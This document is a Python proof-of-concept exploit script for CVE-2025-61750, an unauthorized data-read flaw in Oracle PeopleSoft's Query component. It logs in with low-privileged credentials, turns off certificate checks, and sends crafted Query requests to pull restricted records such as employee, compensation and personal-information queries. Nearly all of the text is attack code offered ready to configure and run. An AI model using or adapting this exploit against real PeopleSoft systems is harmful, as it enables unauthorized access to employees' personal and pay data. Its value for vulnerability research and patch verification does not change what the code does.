# CVE-2025-61750 PoC - Oracle PeopleSoft PeopleTools Query Unauthorized Data Access
# This PoC demonstrates the unauthorized read access vulnerability in the Query component
# Note: Requires valid low-privileged credentials for the PeopleSoft system
import requests
import urllib3
# Disable SSL warnings (for testing purposes only)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class PeopleSoftQueryExploit:
def __init__(self, target_url, username, password):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
})
def authenticate(self):
"""Authenticate to PeopleSoft with low-privileged credentials"""
login_url = f"{self.target_url}/psc/ps/EMPLOYEE/CRM/c/SIGNON_OPTIONS.SIGNON"
# Login payload for PeopleSoft authentication
login_data = {
'userid': self.username,
'pwd': self.password,
'ptmode': 'F',
'ptlangcd': 'ENG',
'ptltype': 'P',
}
try:
response = self.session.post(login_url, data=login_data, timeout=30)
if response.status_code == 200 and 'PSJSESSIONID' in str(self.session.cookies):
print("[+] Authentication successful")
return True
except Exception as e:
print(f"[-] Authentication failed: {e}")
return False
def exploit_query_component(self, query_name):
"""
Exploit the Query component to access unauthorized data
The vulnerability allows low-privileged users to read data
beyond their normal access scope
"""
# Query component endpoint - vulnerable to unauthorized access
query_url = f"{self.target_url}/psc/ps/EMPLOYEE/CRM/c/QRY_EXCEL.QRY_EXCEL.FieldFormula"
# Crafted query parameters to bypass access control
query_params = {
'ICType': 'Panel',
'ICElementNum': '0',
'ICXPos': '0',
'ICYPos': '0',
'ICResubmit': '0',
'ICForceCollect': '1',
'ICChanged': '-1',
'ICAction': 'QRYEXCEL',
'ICQryName': query_name,
'ICPrompt': 'N',
}
try:
response = self.session.post(query_url, data=query_params, timeout=30)
if response.status_code == 200:
# Check if unauthorized data was returned
if 'RECORDNAME' in response.text or 'FIELDNAME' in response.text:
print(f"[+] Query executed - potential unauthorized data access detected")
return response.text
except Exception as e:
print(f"[-] Query execution failed: {e}")
return None
def run(self):
"""Main exploit routine"""
print(f"[*] Target: {self.target_url}")
print(f"[*] CVE-2025-61750 - PeopleSoft Query Unauthorized Read")
if not self.authenticate():
print("[-] Failed to authenticate. Valid credentials required.")
return
# Attempt to query restricted records
restricted_queries = [
'EMPLOYEE_RECORDS',
'COMPENSATION_DATA',
'PERSONAL_INFO',
]
for query in restricted_queries:
print(f"[*] Attempting query: {query}")
result = self.exploit_query_component(query)
if result:
print(f"[+] Potential data leak from query: {query}")
if __name__ == '__main__':
# Usage example
# exploit = PeopleSoftQueryExploit(
# target_url="https://target-peoplesoft.example.com:8000",
# username="low_priv_user",
# password="password123"
# )
# exploit.run()
print("CVE-2025-61750 PoC - Configure target and credentials before running")